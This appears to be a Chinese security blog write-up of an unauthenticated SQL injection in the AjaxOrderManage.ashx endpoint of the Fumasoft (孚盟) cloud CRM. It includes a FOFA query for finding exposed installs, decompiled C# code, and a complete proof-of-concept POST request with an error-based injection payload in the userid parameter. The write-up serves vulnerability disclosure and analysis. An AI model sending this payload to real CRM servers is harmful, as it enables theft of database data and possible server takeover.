孚盟云CRM AjaxOrderManage.ashx SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxOrderManage.ashx接口存在多个SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxOrderManage.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxOrderManage 方法的实现如下

public void ProcessRequest(HttpContext context)
{
  new SqlAndHtmlChecker(context.Request, context.Response).Check();
  context.Response.ContentType = "text/plain";
  string str1 = UserCookie.GetCookieValue("empId");
  if (!string.IsNullOrEmpty(str1))
    str1 = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(str1);
  string str2 = context.Request["action"];
  if (!string.op_Equality(str2, "getsalesfunnel"))
  {
    if (!string.op_Equality(str2, "clickEmp"))
    {
      if (!string.op_Equality(str2, "getfunnel"))
      {
        if (!string.op_Equality(str2, "getCustomerTop"))
        {
          if (!string.op_Equality(str2, "getCustomerFenbu"))
          {
            if (!string.op_Equality(str2, "getEmpxiashu"))
              return;
            this.getEmpxiashu(context, str1);
          }
          else
            this.getCustomerFenbu(context, str1);
        }
        else
          this.getCustomerTop(context, str1);
      }
      else
        this.getfunnel(context, str1);
    }
    else
      this.clickEmp(context, str1);
  }
  else if (context.Request["userid"] != null && string.op_Inequality(context.Request["userid"].ToString(), ""))
    this.getsalesfunnel(context, context.Request["userid"]);
  else
    this.getsalesfunnel(context, str1);
}

当action=getsalesfunnel时,进入getsalesfunnel方法

参数userid被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。

action=clickEmp

漏洞复现

POST /m/Dingding/Ajax/AjaxOrderManage.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1"}
Content-Type: application/x-www-form-urlencoded

action=getsalesfunnel&userid='-1/user--

成功通过报错注入在响应回显数数据库用户信息


手机扫码阅读

金和OA getFieldValue.aspx XXE漏洞

金和OA GovAIPXml.aspx XXE漏洞

评 论